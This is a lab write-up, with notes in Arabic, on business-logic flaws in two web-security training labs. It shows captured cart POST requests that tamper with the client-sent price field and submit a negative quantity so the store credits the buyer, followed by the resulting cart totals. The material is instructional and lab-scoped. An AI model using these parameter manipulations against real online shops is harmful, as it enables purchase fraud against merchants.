

# Logic Vulnerabilities

- الثغره دي بتستخدمها مثلا لما تيجي تشتري حاجه من موقع وتحاول وتقلل السعر
- بتطلب حاجه سعرها اعلي من الفلوس اللي معاك

```

Pretty  Raw  Hex
1 POST /cart HTTP/2
2 Host: 0ade005c03c37a0581c302ef00d10044.web-security-academy.net
3 Cookie: session=ov5txfbBWWwnwFHSZcsgguapVEJjUjQq
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 49
0 Origin: https://0ade005c03c37a0581c302ef00d10044.web-security-academy.net
1 Referer:
  https://0ade005c03c37a0581c302ef00d10044.web-security-academy.net/product?productId=1
2 Upgrade-Insecure-Requests: 1
3 Sec-Fetch-Dest: document
4 Sec-Fetch-Mode: navigate
5 Sec-Fetch-Site: same-origin
6 Sec-Fetch-User: ?1
7 Priority: u=0, i
8 Te: trailers
9
0 productId=1&redir=PRODUCT&quantity=1&price=133700
```

- 
- بتغير السعر وتشوف لو قبل كدا ثغره وتقدر تشتريه بالسعر اللي انت حطيتّه
- Lab : Excessive trust in client-side controls

- 
- Lab: High-level logic vulnerability الطريقة التانيه

## Request

Pretty

Raw

Hex



```
1 POST /cart HTTP/1.1
2 Host: 0a0200c0037da1208009d50d00ed00e9.web-security-academy.net
3 Cookie: session=qfpGrdNZnuUHOCYapeebdtMl72I1TjRL
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/1
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 37
10 Origin: https://0a0200c0037da1208009d50d00ed00e9.web-security-academy.net
11 Referer:
    https://0a0200c0037da1208009d50d00ed00e9.web-security-academy.net/product?productId=10
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Priority: u=0, i
18 Te: trailers
19 Connection: keep-alive
20
21 productId=10&redir=PRODUCT&quantity=-19
```

- هنا مش بيظهر السعر بيظهر الكميه
- فبتحاول تخلي الموقع عليه فلوس ليك ف علشان متقدرش تسحبها بتشتري بيها حاجه تانيه
- بتحط رقم بالسالب علشان الموقع اكنو عليه فلوس ليك

Cart

Name	Price	Quantity			
First Impression Costumes	\$75.52	-	-19	+	Remove

Coupon:

Add coupon

Apply

Total: **-\$1434.88**

Place order

•

• كذا الموقع عليه فلوس ليك فبتروح تشتري بقا اللي انت عايزه بيهم

Store credit:  
\$100.00

Cart

Name	Price	Quantity			
Lightweight "l33t" Leather Jacket	\$1337.00	-	1	+	Remove
First Impression Costumes	\$75.52	-	-17	+	Remove

Coupon:

Add coupon

Apply

Total: \$53.16

Place order

•

- بتضيف اللي عايز تشتريه وتدفع فرق بسيط
- المهم ال total يبقي رقم + مش - لانو لو سالب هيرفض